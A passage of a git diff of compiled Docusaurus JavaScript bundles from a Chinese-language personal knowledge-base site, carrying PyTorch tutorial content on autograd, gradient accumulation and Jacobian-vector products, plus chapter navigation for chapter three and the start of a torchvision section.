\u540c\u5f62\u7684Tensor\u3002"}),"\n",(0,d.jsxs)(e.p,{children:["\u8981\u963b\u6b62\u4e00\u4e2a\u5f20\u91cf\u88ab\u8ddf\u8e2a\u5386\u53f2\uff0c\u53ef\u4ee5\u8c03\u7528",(0,d.jsx)(e.code,{children:".detach()"}),"\u65b9\u6cd5\u5c06\u5176\u4e0e\u8ba1\u7b97\u5386\u53f2\u5206\u79bb\uff0c\u5e76\u963b\u6b62\u5b83\u672a\u6765\u7684\u8ba1\u7b97\u8bb0\u5f55\u88ab\u8ddf\u8e2a\u3002\u4e3a\u4e86\u9632\u6b62\u8ddf\u8e2a\u5386\u53f2\u8bb0\u5f55(\u548c\u4f7f\u7528\u5185\u5b58\uff09\uff0c\u53ef\u4ee5\u5c06\u4ee3\u7801\u5757\u5305\u88c5\u5728 ",(0,d.jsx)(e.code,{children:"with torch.no_grad(): "}),"\u4e2d\u3002\u5728\u8bc4\u4f30\u6a21\u578b\u65f6\u7279\u522b\u6709\u7528\uff0c\u56e0\u4e3a\u6a21\u578b\u53ef\u80fd\u5177\u6709 ",(0,d.jsx)(e.code,{children:"requires_grad = True"})," \u7684\u53ef\u8bad\u7ec3\u7684\u53c2\u6570\uff0c\u4f46\u662f\u6211\u4eec\u4e0d\u9700\u8981\u5728\u6b64\u8fc7\u7a0b\u4e2d\u5bf9\u4ed6\u4eec\u8fdb\u884c\u68af\u5ea6\u8ba1\u7b97\u3002"]}),"\n",(0,d.jsxs)(e.p,{children:["\u8fd8\u6709\u4e00\u4e2a\u7c7b\u5bf9\u4e8e",(0,d.jsx)(e.code,{children:"autograd"}),"\u7684\u5b9e\u73b0\u975e\u5e38\u91cd\u8981\uff1a",(0,d.jsx)(e.code,{children:"Function"}),"\u3002",(0,d.jsx)(e.code,{children:"Tensor "}),"\u548c",(0,d.jsx)(e.code,{children:" Function"})," \u4e92\u76f8\u8fde\u63a5\u751f\u6210\u4e86\u4e00\u4e2a\u65e0\u73af\u56fe (acyclic graph)\uff0c\u5b83\u7f16\u7801\u4e86\u5b8c\u6574\u7684\u8ba1\u7b97\u5386\u53f2\u3002\u6bcf\u4e2a\u5f20\u91cf\u90fd\u6709\u4e00\u4e2a",(0,d.jsx)(e.code,{children:".grad_fn"}),"\u5c5e\u6027\uff0c\u8be5\u5c5e\u6027\u5f15\u7528\u4e86\u521b\u5efa ",(0,d.jsx)(e.code,{children:"Tensor "}),"\u81ea\u8eab\u7684",(0,d.jsx)(e.code,{children:"Function"}),"(\u9664\u975e\u8fd9\u4e2a\u5f20\u91cf\u662f\u7528\u6237\u624b\u52a8\u521b\u5efa\u7684\uff0c\u5373\u8fd9\u4e2a\u5f20\u91cf\u7684",(0,d.jsx)(e.code,{children:"grad_fn"}),"\u662f ",(0,d.jsx)(e.code,{children:"None"})," )\u3002\u4e0b\u9762\u7ed9\u51fa\u7684\u4f8b\u5b50\u4e2d\uff0c\u5f20\u91cf\u7531\u7528\u6237\u624b\u52a8\u521b\u5efa\uff0c\u56e0\u6b64grad_fn\u8fd4\u56de\u7ed3\u679c\u662fNone\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"from __future__ import print_function\nimport torch\nx = torch.randn(3,3,requires_grad=True)\nprint(x.grad_fn)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"None\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u5982\u679c\u9700\u8981\u8ba1\u7b97\u5bfc\u6570\uff0c\u53ef\u4ee5\u5728 ",(0,d.jsx)(e.code,{children:"Tensor"})," \u4e0a\u8c03\u7528 ",(0,d.jsx)(e.code,{children:".backward()"}),"\u3002\u5982\u679c",(0,d.jsx)(e.code,{children:" Tensor"})," \u662f\u4e00\u4e2a\u6807\u91cf(\u5373\u5b83\u5305\u542b\u4e00\u4e2a\u5143\u7d20\u7684\u6570\u636e\uff09\uff0c\u5219\u4e0d\u9700\u8981\u4e3a ",(0,d.jsx)(e.code,{children:"backward() "}),"\u6307\u5b9a\u4efb\u4f55\u53c2\u6570\uff0c\u4f46\u662f\u5982\u679c\u5b83\u6709\u66f4\u591a\u7684\u5143\u7d20\uff0c\u5219\u9700\u8981\u6307\u5b9a\u4e00\u4e2a",(0,d.jsx)(e.code,{children:"gradient"}),"\u53c2\u6570\uff0c\u8be5\u53c2\u6570\u662f\u5f62\u72b6\u5339\u914d\u7684\u5f20\u91cf\u3002"]}),"\n",(0,d.jsxs)(e.p,{children:["\u521b\u5efa\u4e00\u4e2a\u5f20\u91cf\u5e76\u8bbe\u7f6e",(0,d.jsx)(e.code,{children:"requires_grad=True"}),"\u7528\u6765\u8ffd\u8e2a\u5176\u8ba1\u7b97\u5386\u53f2"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"x = torch.ones(2, 2, requires_grad=True)\nprint(x)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([[1., 1.],\n [1., 1.]], requires_grad=True)\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u5bf9\u8fd9\u4e2a\u5f20\u91cf\u505a\u4e00\u6b21\u8fd0\u7b97\uff1a"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"y = x**2\nprint(y)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([[1., 1.],\n [1., 1.]], grad_fn=)\n"})}),"\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"y"}),"\u662f\u8ba1\u7b97\u7684\u7ed3\u679c\uff0c\u6240\u4ee5\u5b83\u6709",(0,d.jsx)(e.code,{children:"grad_fn"}),"\u5c5e\u6027\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"print(y.grad_fn)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u5bf9 y \u8fdb\u884c\u66f4\u591a\u64cd\u4f5c"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"z = y * y * 3\nout = z.mean()\n\nprint(z, out)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([[3., 3.],\n [3., 3.]], grad_fn=) tensor(3., grad_fn=)\n"})}),"\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:".requires_grad_(...) "}),"\u539f\u5730\u6539\u53d8\u4e86\u73b0\u6709\u5f20\u91cf\u7684",(0,d.jsx)(e.code,{children:"requires_grad"}),"\u6807\u5fd7\u3002\u5982\u679c\u6ca1\u6709\u6307\u5b9a\u7684\u8bdd\uff0c\u9ed8\u8ba4\u8f93\u5165\u7684\u8fd9\u4e2a\u6807\u5fd7\u662f",(0,d.jsx)(e.code,{children:" False"}),"\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"a = torch.randn(2, 2) # \u7f3a\u5931\u60c5\u51b5\u4e0b\u9ed8\u8ba4 requires_grad = False\na = ((a * 3) / (a - 1))\nprint(a.requires_grad)\na.requires_grad_(True)\nprint(a.requires_grad)\nb = (a * a).sum()\nprint(b.grad_fn)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"False\nTrue\n\n"})}),"\n",(0,d.jsx)(e.h2,{id:"221-\u68af\u5ea6",children:"2.2.1 \u68af\u5ea6"}),"\n",(0,d.jsxs)(e.p,{children:["\u73b0\u5728\u5f00\u59cb\u8fdb\u884c\u53cd\u5411\u4f20\u64ad\uff0c\u56e0\u4e3a",(0,d.jsx)(e.code,{children:" out"})," \u662f\u4e00\u4e2a\u6807\u91cf\uff0c\u56e0\u6b64",(0,d.jsx)(e.code,{children:"out.backward()"}),"\u548c",(0,d.jsx)(e.code,{children:" out.backward(torch.tensor(1.))"})," \u7b49\u4ef7\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"out.backward()\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u8f93\u51fa\u5bfc\u6570",(0,d.jsx)(e.code,{children:" d(out)/dx"})]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"print(x.grad)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([[3., 3.],\n [3., 3.]])\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u6570\u5b66\u4e0a\uff0c\u82e5\u6709\u5411\u91cf\u51fd\u6570$\\vec{y}=f(\\vec{x})$\uff0c\u90a3\u4e48 $\\vec{y}$ \u5173\u4e8e $\\vec{x}$ \u7684\u68af\u5ea6\u5c31\u662f\u4e00\u4e2a\u96c5\u53ef\u6bd4\u77e9\u9635\uff1a\n$\nJ=\\left(\\begin{array}{ccc}\\frac{\\partial y_{1}}{\\partial x_{1}} & \\cdots & \\frac{\\partial y_{1}}{\\partial x_{n}} \\ \\vdots & \\ddots & \\vdots \\ \\frac{\\partial y_{m}}{\\partial x_{1}} & \\cdots & \\frac{\\partial y_{m}}{\\partial x_{n}}\\end{array}\\right)\n$\n\u800c ",(0,d.jsx)(e.code,{children:"torch.autograd"})," \u8fd9\u4e2a\u5305\u5c31\u662f\u7528\u6765\u8ba1\u7b97\u4e00\u4e9b\u96c5\u53ef\u6bd4\u77e9\u9635\u7684\u4e58\u79ef\u7684\u3002\uf9b5\u5982\uff0c\u5982\u679c $v$ \u662f\u4e00\u4e2a\u6807\uf97e\u51fd\u6570 $l = g(\\vec{y})$ \u7684\u68af\u5ea6\uff1a\n$\nv=\\left(\\begin{array}{lll}\\frac{\\partial l}{\\partial y_{1}} & \\cdots & \\frac{\\partial l}{\\partial y_{m}}\\end{array}\\right)\n$\n\u7531\u94fe\u5f0f\u6cd5\u5219\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\uff1a\n$\nv J=\\left(\\begin{array}{lll}\\frac{\\partial l}{\\partial y_{1}} & \\cdots & \\frac{\\partial l}{\\partial y_{m}}\\end{array}\\right)\\left(\\begin{array}{ccc}\\frac{\\partial y_{1}}{\\partial x_{1}} & \\cdots & \\frac{\\partial y_{1}}{\\partial x_{n}} \\ \\vdots & \\ddots & \\vdots \\ \\frac{\\partial y_{m}}{\\partial x_{1}} & \\cdots & \\frac{\\partial y_{m}}{\\partial x_{n}}\\end{array}\\right)=\\left(\\begin{array}{lll}\\frac{\\partial l}{\\partial x_{1}} & \\cdots & \\frac{\\partial l}{\\partial x_{n}}\\end{array}\\right)\n$"]}),"\n",(0,d.jsx)(e.p,{children:"\u6ce8\u610f\uff1agrad\u5728\u53cd\u5411\u4f20\u64ad\u8fc7\u7a0b\u4e2d\u662f\u7d2f\u52a0\u7684(accumulated)\uff0c\u8fd9\u610f\u5473\u7740\u6bcf\u4e00\u6b21\u8fd0\ufa08\u53cd\u5411\u4f20\u64ad\uff0c\u68af\u5ea6\u90fd\u4f1a\u7d2f\u52a0\u4e4b\u524d\u7684\u68af\u5ea6\uff0c\u6240\u4ee5\u4e00\u822c\u5728\u53cd\u5411\u4f20\u64ad\u4e4b\u524d\u9700\u628a\u68af\u5ea6\u6e05\u96f6\u3002"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"# \u518d\u6765\u53cd\u5411\u4f20\u64ad\u2f00\u4e00\u6b21\uff0c\u6ce8\u610fgrad\u662f\u7d2f\u52a0\u7684\nout2 = x.sum()\nout2.backward()\nprint(x.grad)\n\nout3 = x.sum()\nx.grad.data.zero_()\nout3.backward()\nprint(x.grad)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([[4., 4.],\n [4., 4.]])\ntensor([[1., 1.],\n [1., 1.]])\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u73b0\u5728\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u96c5\u53ef\u6bd4\u5411\u91cf\u79ef\u7684\u4f8b\u5b50\uff1a"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"x = torch.randn(3, requires_grad=True)\nprint(x)\n\ny = x * 2\ni = 0\nwhile y.data.norm() < 1000:\n y = y * 2\n i = i + 1\nprint(y)\nprint(i)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([-0.9332, 1.9616, 0.1739], requires_grad=True)\ntensor([-477.7843, 1004.3264, 89.0424], grad_fn=)\n8\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c",(0,d.jsx)(e.code,{children:"y "}),"\u4e0d\u518d\u662f\u6807\u91cf\u3002",(0,d.jsx)(e.code,{children:"torch.autograd"})," \u4e0d\u80fd\u76f4\u63a5\u8ba1\u7b97\u5b8c\u6574\u7684\u96c5\u53ef\u6bd4\u77e9\u9635\uff0c\u4f46\u662f\u5982\u679c\u6211\u4eec\u53ea\u60f3\u8981\u96c5\u53ef\u6bd4\u5411\u91cf\u79ef\uff0c\u53ea\u9700\u5c06\u8fd9\u4e2a\u5411\u91cf\u4f5c\u4e3a\u53c2\u6570\u4f20\u7ed9 ",(0,d.jsx)(e.code,{children:"backward\uff1a"})]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"v = torch.tensor([0.1, 1.0, 0.0001], dtype=torch.float)\ny.backward(v)\n\nprint(x.grad)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([5.1200e+01, 5.1200e+02, 5.1200e-02])\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u4e5f\u53ef\u4ee5\u901a\u8fc7\u5c06\u4ee3\u7801\u5757\u5305\u88c5\u5728",(0,d.jsx)(e.code,{children:" with torch.no_grad():"})," \u4e2d\uff0c\u6765\u963b\u6b62 autograd \u8ddf\u8e2a\u8bbe\u7f6e\u4e86",(0,d.jsx)(e.code,{children:".requires_grad=True"}),"\u7684\u5f20\u91cf\u7684\u5386\u53f2\u8bb0\u5f55\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"print(x.requires_grad)\nprint((x ** 2).requires_grad)\n\nwith torch.no_grad():\n print((x ** 2).requires_grad)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"True\nTrue\nFalse\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u5982\u679c\u6211\u4eec\u60f3\u8981\u4fee\u6539 tensor \u7684\u6570\u503c\uff0c\u4f46\u662f\u53c8\uf967\u5e0c\u671b\u88ab autograd \u8bb0\u5f55(\u5373\uf967\u4f1a\u5f71\u54cd\u53cd\u5411\u4f20\u64ad)\uff0c \u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5bf9 tensor.data \u8fdb\ufa08\u64cd\u4f5c\u3002"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"x = torch.ones(1,requires_grad=True)\n\nprint(x.data) # \u8fd8\u662f\u4e00\u4e2atensor\nprint(x.data.requires_grad) # \u4f46\u662f\u5df2\u7ecf\u662f\u72ec\u7acb\u4e8e\u8ba1\u7b97\u56fe\u4e4b\u5916\n\ny = 2 * x\nx.data *= 100 # \u53ea\u6539\u53d8\u4e86\u503c\uff0c\u4e0d\u4f1a\u8bb0\u5f55\u5728\u8ba1\u7b97\u56fe\uff0c\u6240\u4ee5\u4e0d\u4f1a\u5f71\u54cd\u68af\u5ea6\u4f20\u64ad\n\ny.backward()\nprint(x) # \u66f4\u6539data\u7684\u503c\u4e5f\u4f1a\u5f71\u54cdtensor\u7684\u503c \nprint(x.grad)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([1.])\nFalse\ntensor([100.], requires_grad=True)\ntensor([2.])\n"})})]})}function h(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,d.jsx)(e,{...n,children:(0,d.jsx)(o,{...n})}):o(n)}},28453:(n,e,r)=>{r.d(e,{R:()=>s,x:()=>t});var a=r(96540);const d={},c=a.createContext(d);function s(n){const e=a.useContext(c);return a.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function t(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(d):n.components||d:s(n.components),a.createElement(c.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/assets/js/d28810ad.b8fac346.js b/assets/js/d28810ad.b8fac346.js new file mode 100644 index 0000000..c5fdaef --- /dev/null +++ b/assets/js/d28810ad.b8fac346.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1101],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var s=n(96540);const r={},l=s.createContext(r);function c(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),s.createElement(l.Provider,{value:t},e.children)}},52803:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/README","title":"\u7b2c\u4e09\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907"},"next":{"title":"3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206"}}');var r=n(74848),l=n(28453);const c={},i="\u7b2c\u4e09\u7ae0",d={},o=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u7b2c\u4e09\u7ae0",children:"\u7b2c\u4e09\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:14"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 18:21:57"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"\u7b2c\u4e09\u7ae0pytorch\u7684\u4e3b\u8981\u7ec4\u6210\u6a21\u5757",children:"\u7b2c\u4e09\u7ae0\uff1aPyTorch\u7684\u4e3b\u8981\u7ec4\u6210\u6a21\u5757"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206\n3.2 \u57fa\u672c\u914d\u7f6e\n3.3 \u6570\u636e\u8bfb\u5165\n3.4 \u6a21\u578b\u6784\u5efa\n3.5 \u6a21\u578b\u521d\u59cb\u5316\n3.6 \u635f\u5931\u51fd\u6570\n3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30\n3.8 \u53ef\u89c6\u5316\n3.9 \u4f18\u5316\u5668\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/d3571583.750be57a.js b/assets/js/d3571583.750be57a.js new file mode 100644 index 0000000..7c0f0bf --- /dev/null +++ b/assets/js/d3571583.750be57a.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6029],{28453:(n,e,s)=>{s.d(e,{R:()=>o,x:()=>c});var i=s(96540);const r={},t=i.createContext(r);function o(n){const e=i.useContext(t);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:o(n.components),i.createElement(t.Provider,{value:e},n.children)}},75226:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>h,contentTitle:()=>c,default:()=>x,frontMatter:()=>o,metadata:()=>i,toc:()=>l});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision","title":"8.2 \u56fe\u50cf - torchvision.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"8.1 \u672c\u7ae0\u7b80\u4ecb.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb"},"next":{"title":"8.3 \u89c6\u9891 - PyTorchVideo.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo"}}');var r=s(74848),t=s(28453);const o={},c="8.2 \u56fe\u50cf - torchvision.md",h={},l=[{value:"8.2.1 torchvision\u7b80\u4ecb",id:"821-torchvision\u7b80\u4ecb",level:2},{value:"8.2.2 torchvision.datasets",id:"822-torchvisiondatasets",level:2},{value:"8.2.3 torchvision.transforms",id:"823-torchvisiontransforms",level:2},{value:"8.2.4 torchvision.models",id:"824-torchvisionmodels",level:2},{value:"8.2.5 torchvision.io",id:"825-torchvisionio",level:2},{value:"8.2.6 torchvision.ops",id:"826-torchvisionops",level:2},{value:"8.2.7 torchvision.utils",id:"827-torchvisionutils",level:2}];function d(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"82-\u56fe\u50cf---torchvisionmd",children:"8.2 \u56fe\u50cf - torchvision.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:30"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"82-torchvision",children:"8.2 torchvision"}),"\n",(0,r.jsx)(e.p,{children:"PyTorch\u4e4b\u6240\u4ee5\u4f1a\u5728\u77ed\u77ed\u7684\u51e0\u5e74\u65f6\u95f4\u91cc\u53d1\u5c55\u6210\u4e3a\u4e3b\u6d41\u7684\u6df1\u5ea6\u5b66\u4e60\u6846\u67b6\uff0c\u9664\u53bb\u6846\u67b6\u672c\u8eab\u7684\u4f18\u52bf\uff0c\u8fd8\u5728\u4e8ePyTorch\u6709\u7740\u826f\u597d\u7684\u751f\u6001\u5708\u3002\u5728\u524d\u9762\u7684\u5b66\u4e60\u548c\u5b9e\u6218\u4e2d\uff0c\u6211\u4eec\u7ecf\u5e38\u4f1a\u7528\u5230torchvision\u6765\u8c03\u7528\u9884\u8bad\u7ec3\u6a21\u578b\uff0c\u52a0\u8f7d\u6570\u636e\u96c6\uff0c\u5bf9\u56fe\u7247\u8fdb\u884c\u6570\u636e\u589e\u5f3a\u7684\u64cd\u4f5c\u3002\u5728\u672c\u7ae0\u6211\u4eec\u5c06\u7ed9\u5927\u5bb6\u7b80\u5355\u4ecb\u7ecd\u4e0btorchvision\u4ee5\u53ca\u76f8\u5173\u64cd\u4f5c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u4e86\u89e3torchvision"}),"\n",(0,r.jsx)(e.li,{children:"\u4e86\u89e3torchvision\u7684\u4f5c\u7528"}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"821-